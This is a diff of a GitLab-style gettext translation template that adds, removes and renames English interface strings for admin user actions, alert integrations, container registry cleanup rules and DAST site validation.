@@ -1506,9 +1484,6 @@ msgstr ""
msgid "Actions"
msgstr ""
-msgid "Activate"
-msgstr ""
-
msgid "Activate Service Desk"
msgstr ""
@@ -1856,9 +1831,15 @@ msgstr ""
msgid "Admin notes"
msgstr ""
+msgid "AdminArea|%{billable_users_link_start}Learn more%{billable_users_link_end} about what defines a billable user"
+msgstr ""
+
msgid "AdminArea|Active users"
msgstr ""
+msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
+msgstr ""
+
msgid "AdminArea|Billable users"
msgstr ""
@@ -2081,6 +2062,15 @@ msgstr ""
msgid "AdminUsers|Access the API"
msgstr ""
+msgid "AdminUsers|Activate"
+msgstr ""
+
+msgid "AdminUsers|Activate user"
+msgstr ""
+
+msgid "AdminUsers|Activate user %{username}?"
+msgstr ""
+
msgid "AdminUsers|Active"
msgstr ""
@@ -2129,16 +2119,19 @@ msgstr ""
msgid "AdminUsers|Blocking user has the following effects:"
msgstr ""
+msgid "AdminUsers|Cannot sign in or access instance information"
+msgstr ""
+
msgid "AdminUsers|Cannot unblock LDAP blocked users"
msgstr ""
msgid "AdminUsers|Deactivate"
msgstr ""
-msgid "AdminUsers|Deactivate User %{username}?"
+msgid "AdminUsers|Deactivate user"
msgstr ""
-msgid "AdminUsers|Deactivate user"
+msgid "AdminUsers|Deactivate user %{username}?"
msgstr ""
msgid "AdminUsers|Deactivated"
@@ -2165,6 +2158,9 @@ msgstr ""
msgid "AdminUsers|External users cannot see internal or private projects unless access is explicitly granted. Also, external users cannot create projects, groups, or personal snippets."
msgstr ""
+msgid "AdminUsers|For more information, please refer to the %{link_start}user account deletion documentation.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Is using seat"
msgstr ""
@@ -2201,6 +2197,15 @@ msgstr ""
msgid "AdminUsers|Regular users have access to their groups and projects"
msgstr ""
+msgid "AdminUsers|Reject"
+msgstr ""
+
+msgid "AdminUsers|Reject request"
+msgstr ""
+
+msgid "AdminUsers|Rejected users:"
+msgstr ""
+
msgid "AdminUsers|Restore user access to the account, including web, Git and API."
msgstr ""
@@ -2240,6 +2245,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unblock"
+msgstr ""
+
+msgid "AdminUsers|Unblock user"
+msgstr ""
+
+msgid "AdminUsers|Unblock user %{username}?"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2249,6 +2263,9 @@ msgstr ""
msgid "AdminUsers|When the user logs back in, their account will reactivate as a fully active account"
msgstr ""
+msgid "AdminUsers|Will be deleted"
+msgstr ""
+
msgid "AdminUsers|Without projects"
msgstr ""
@@ -2258,6 +2275,15 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You can always block their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always deactivate their account again if needed."
+msgstr ""
+
+msgid "AdminUsers|You can always re-activate their account, their data will remain intact."
+msgstr ""
+
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
@@ -2270,7 +2296,13 @@ msgstr ""
msgid "Administration"
msgstr ""
-msgid "Adoption"
+msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
+msgstr ""
+
+msgid "Admin|View pending user approvals"
+msgstr ""
+
+msgid "Admin|Your instance has reached its user cap"
msgstr ""
msgid "Advanced"
@@ -2482,6 +2514,24 @@ msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
+msgid "AlertMappingBuilder|Define fallback"
+msgstr ""
+
+msgid "AlertMappingBuilder|GitLab alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Make selection"
+msgstr ""
+
+msgid "AlertMappingBuilder|Payload alert key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Select key"
+msgstr ""
+
+msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
+msgstr ""
+
msgid "AlertService|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
@@ -2491,9 +2541,18 @@ msgstr ""
msgid "AlertSettings|1. Select integration type"
msgstr ""
+msgid "AlertSettings|2. Add link to your Opsgenie alert list"
+msgstr ""
+
msgid "AlertSettings|2. Name integration"
msgstr ""
+msgid "AlertSettings|3. Set up webhook"
+msgstr ""
+
+msgid "AlertSettings|4. Sample alert payload (optional)"
+msgstr ""
+
msgid "AlertSettings|5. Map fields (optional)"
msgstr ""
@@ -2521,6 +2580,12 @@ msgstr ""
msgid "AlertSettings|Copy"
msgstr ""
+msgid "AlertSettings|Delete integration"
+msgstr ""
+
+msgid "AlertSettings|Edit payload"
+msgstr ""
+
msgid "AlertSettings|Enter integration name"
msgstr ""
@@ -2533,7 +2598,13 @@ msgstr ""
msgid "AlertSettings|HTTP Endpoint"
msgstr ""
-msgid "AlertSettings|HTTP endpoint"
+msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
+msgstr ""
+
+msgid "AlertSettings|If you've provided a sample alert payload, you can create a custom mapping for your endpoint. The default GitLab alert keys are listed below. Please define which payload key should map to the specified GitLab key."
+msgstr ""
+
+msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
msgid "AlertSettings|Integration"
@@ -2542,27 +2613,51 @@ msgstr ""
msgid "AlertSettings|Learn more about our our upcoming %{linkStart}integrations%{linkEnd}"
msgstr ""
-msgid "AlertSettings|Learn more about our upcoming %{linkStart}integrations%{linkEnd}"
+msgid "AlertSettings|Opsgenie"
msgstr ""
-msgid "AlertSettings|Opsgenie"
+msgid "AlertSettings|Proceed with editing"
+msgstr ""
+
+msgid "AlertSettings|Prometheus API base URL"
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional), or to test the integration (also optional)."
+msgstr ""
+
+msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to test the integration (optional)."
+msgstr ""
+
+msgid "AlertSettings|Reset Key"
msgstr ""
msgid "AlertSettings|Reset key"
msgstr ""
+msgid "AlertSettings|Reset the mapping"
+msgstr ""
+
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
msgid "AlertSettings|Review your external service's documentation to learn where to provide this information to your external service, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgstr ""
+
+msgid "AlertSettings|Save and test payload"
+msgstr ""
+
msgid "AlertSettings|Save integration"
msgstr ""
msgid "AlertSettings|Select integration type"
msgstr ""
+msgid "AlertSettings|Submit payload"
+msgstr ""
+
msgid "AlertSettings|Test alert payload"
msgstr ""
@@ -2572,9 +2667,6 @@ msgstr ""
msgid "AlertSettings|Test failed. Do you still want to save your changes anyway?"
msgstr ""
-msgid "AlertSettings|The default GitLab alert keys are listed below. In the event an exact match could be found in the sample payload provided, that key will be mapped automatically. In all other cases, please define which payload key should map to the specified GitLab key. Any payload keys not shown in this list will not display in the alert list, but will display on the alert details page."
-msgstr ""
-
msgid "AlertSettings|There was an error updating the alert settings."
msgstr ""
@@ -2584,6 +2676,18 @@ msgstr ""
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize Prometheus to send alerts to GitLab. Review the Prometheus documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
+msgstr ""
+
+msgid "AlertSettings|Utilizing this option will link the GitLab Alerts navigation item to your existing Opsgenie instance. By selecting this option, you cannot receive alerts from any other source in GitLab; it will effectively be turning Alerts within GitLab off as a feature."
+msgstr ""
+
+msgid "AlertSettings|We will soon be introducing the ability to create multiple unique HTTP endpoints. When this functionality is live, you will be able to configure an integration with Opsgenie to surface Opsgenie alerts in GitLab. This will replace the current Opsgenie integration which will be deprecated. %{linkStart}More Information%{linkEnd}"
+msgstr ""
+
msgid "AlertSettings|Webhook URL"
msgstr ""
@@ -2596,6 +2700,9 @@ msgstr ""
msgid "AlertSettings|Your integration was successfully updated."
msgstr ""
+msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
+msgstr ""
+
msgid "Alerts"
msgstr ""
@@ -2611,16 +2718,37 @@ msgstr ""
msgid "AlertsIntegrations|Current integrations"
msgstr ""
-msgid "AlertsIntegrations|HTTP endpoint"
+msgid "AlertsIntegrations|Integration Name"
msgstr ""
-msgid "AlertsIntegrations|Integration Name"
+msgid "AlertsIntegrations|Integration payload is invalid. You can still save your changes."
msgstr ""
msgid "AlertsIntegrations|No integrations have been added yet"
msgstr ""
-msgid "AlertsIntegrations|Prometheus"
+msgid "AlertsIntegrations|The current integration could not be updated. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be added. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration could not be deleted. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully removed."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
+msgstr ""
+
+msgid "AlertsIntegrations|The test alert has been successfully sent, and should now be visible on your alerts list."
+msgstr ""
+
+msgid "AlertsIntegrations|You have opted to delete the %{integrationName} integration. Do you want to proceed? It means you will no longer receive alerts from this endpoint in your alert list, and this action cannot be undone."
msgstr ""
msgid "Algorithm"
@@ -2725,6 +2853,9 @@ msgstr ""
msgid "Allow rendering of PlantUML diagrams in Asciidoc documents."
msgstr ""
+msgid "Allow rendering of diagrams in AsciiDoc and Markdown documents using %{link}."
+msgstr ""
+
msgid "Allow repository mirroring to be configured by project maintainers"
msgstr ""
@@ -2842,9 +2973,6 @@ msgstr ""
msgid "An error has occurred"
msgstr ""
-msgid "An error has occurred fetching instructions"
-msgstr ""
-
msgid "An error occured while making the changes: %{error}"
msgstr ""
@@ -2965,9 +3093,6 @@ msgstr ""
msgid "An error occurred while fetching terraform reports."
msgstr ""
-msgid "An error occurred while fetching the Service Desk address."
-msgstr ""
-
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
@@ -3001,16 +3126,19 @@ msgstr ""
msgid "An error occurred while generating a username. Please try again."
msgstr ""
+msgid "An error occurred while getting autocomplete data. Please refresh the page and try again."
+msgstr ""
+
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
msgid "An error occurred while getting projects"
msgstr ""
-msgid "An error occurred while importing project: %{details}"
+msgid "An error occurred while initializing path locks"
msgstr ""
-msgid "An error occurred while initializing path locks"
+msgid "An error occurred while loading a section of this page."
msgstr ""
msgid "An error occurred while loading all the files."
@@ -3067,6 +3195,9 @@ msgstr ""
msgid "An error occurred while loading the merge request."
msgstr ""
+msgid "An error occurred while loading the pipeline."
+msgstr ""
+
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -3094,9 +3225,6 @@ msgstr ""
msgid "An error occurred while rendering the editor"
msgstr ""
-msgid "An error occurred while rendering the linter"
-msgstr ""
-
msgid "An error occurred while reordering issues."
msgstr ""
@@ -3127,6 +3255,9 @@ msgstr ""
msgid "An error occurred while triggering the job."
msgstr ""
+msgid "An error occurred while trying to generate the report. Please try again later."
+msgstr ""
+
msgid "An error occurred while trying to run a new pipeline for this Merge Request."
msgstr ""
@@ -3145,6 +3276,9 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the milestone."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
@@ -3331,6 +3465,12 @@ msgstr ""
msgid "Apply suggestion"
msgstr ""
+msgid "Apply suggestion commit message"
+msgstr ""
+
+msgid "Apply suggestion on %{fileName}"
+msgstr ""
+
msgid "Apply suggestions"
msgstr ""
@@ -3393,6 +3533,9 @@ msgid_plural "ApprovalRuleSummary|%{count} approvals required from %{membersCoun
msgstr[0] ""
msgstr[1] ""
+msgid "ApprovalRule|Approval rules"
+msgstr ""
+
msgid "ApprovalRule|Approvers"
msgstr ""
@@ -3474,6 +3617,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived (%{movedToStart}moved%{movedToEnd})"
+msgstr ""
+
msgid "Archived in this version"
msgstr ""
@@ -3525,9 +3671,6 @@ msgstr ""
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
-msgid "Are you sure you want to delete this list?"
-msgstr ""
-
msgid "Are you sure you want to delete this pipeline schedule?"
msgstr ""
@@ -3578,6 +3721,9 @@ msgstr ""
msgid "Are you sure you want to remove this identity?"
msgstr ""
+msgid "Are you sure you want to remove this list?"
+msgstr ""
+
msgid "Are you sure you want to reset registration token?"
msgstr ""
@@ -3852,6 +3998,12 @@ msgstr ""
msgid "Authenticate with GitHub"
msgstr ""
+msgid "Authenticated API request rate limit"
+msgstr ""
+
+msgid "Authenticated web request rate limit"
+msgstr ""
+
msgid "Authenticating"
msgstr ""
@@ -3972,6 +4124,9 @@ msgstr ""
msgid "AutoRemediation|%{mrsCount} ready for review"
msgstr ""
+msgid "AutoRemediation|Auto-fix solution available"
+msgstr ""
+
msgid "AutoRemediation|Auto-fix solutions"
msgstr ""
@@ -4260,12 +4415,18 @@ msgstr ""
msgid "BillingPlan|Upgrade"
msgstr ""
+msgid "Billing|An email address is only visible for users managed through Group Managed Accounts."
+msgstr ""
+
msgid "Billing|An error occurred while loading billable members list"
msgstr ""
msgid "Billing|No users to display."
msgstr ""
+msgid "Billing|Private"
+msgstr ""
+
msgid "Billing|Updated live"
msgstr ""
@@ -4290,6 +4451,11 @@ msgstr ""
msgid "Blocked"
msgstr ""
+msgid "Blocked by %d issue"
+msgid_plural "Blocked by %d issues"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Blocked issue"
msgstr ""
@@ -4341,6 +4507,9 @@ msgstr ""
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
+msgid "Boards|An error occurred while removing the list. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
@@ -4599,9 +4768,6 @@ msgstr ""
msgid "By %{user_name}"
msgstr ""
-msgid "By URL"
-msgstr ""
-
msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
msgstr ""
@@ -4629,6 +4795,9 @@ msgstr ""
msgid "CI Lint"
msgstr ""
+msgid "CI configuration validated, including all configuration added with the %{codeStart}includes%{codeEnd} keyword. %{link}"
+msgstr ""
+
msgid "CI settings"
msgstr ""
@@ -4725,6 +4894,9 @@ msgstr ""
msgid "Can't apply this suggestion."
msgstr ""
+msgid "Can't be empty"
+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr ""
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr ""
@@ -4785,9 +4963,6 @@ msgstr ""
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr ""
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr ""
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr ""
msgid "Check feature availability on namespace plan"
msgstr ""
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
@@ -5202,12 +5380,6 @@ msgstr ""
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
@@ -5241,6 +5413,9 @@ msgstr ""
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr ""
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr ""
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr ""
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr ""
msgid "Close epic"
msgstr ""
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr ""
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr ""
@@ -5970,9 +6148,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr ""
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr ""
msgid "Commit Message"
msgstr ""
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr ""
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr ""
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr ""
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr ""
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Customize icon"
msgstr ""
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Download validation text file"
+msgstr ""
+
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
+msgstr ""
+
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validating..."
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validation failed"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr ""
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr ""
@@ -8604,7 +8851,7 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
